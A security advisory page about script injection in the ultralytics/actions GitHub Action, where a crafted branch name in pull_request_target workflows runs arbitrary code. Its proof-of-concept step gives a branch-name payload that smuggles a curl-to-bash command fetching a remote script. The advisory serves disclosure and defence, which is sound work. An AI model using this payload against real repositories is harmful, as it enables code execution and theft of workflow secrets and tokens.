Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS03eDI5LXFxbXEtdjZxY84AA-q-

GitHub Actions Script Injection in `ultralytics/actions`

Summary

The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.

Details

The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:

        echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
        echo "github.ref: ${{ github.ref }}"
        echo "github.head_ref: ${{ github.head_ref }}"
        echo "github.base_ref: ${{ github.base_ref }}"

In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.

PoC

1. Create a fork of any repository that uses ultralytics/actions within a workflow that runs on pull_request_target.

2. In the fork create a branch as an injection payload, e.g.: Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash

3. Create a draft pull request.

4. If the action is reachable, then achieve arbitrary code execution.

See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.

Impact

Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.

Fix

Sanitize the user-controlled variables using environment vars.

Permalink: https://github.com/advisories/GHSA-7x29-qqmq-v6qc
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03eDI5LXFxbXEtdjZxY84AA-q-
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 3 months ago
Updated: 3 days ago

CVSS Score: 9.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

Identifiers: GHSA-7x29-qqmq-v6qc
References:

• https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc
• https://github.com/ultralytics/actions/commit/8069e0ac4c23170f308ea6985783e64ca4a7900a
• https://github.com/advisories/GHSA-7x29-qqmq-v6qc

Repository: https://github.com/ultralytics/actions
Blast Radius: 1.0

Affected Packages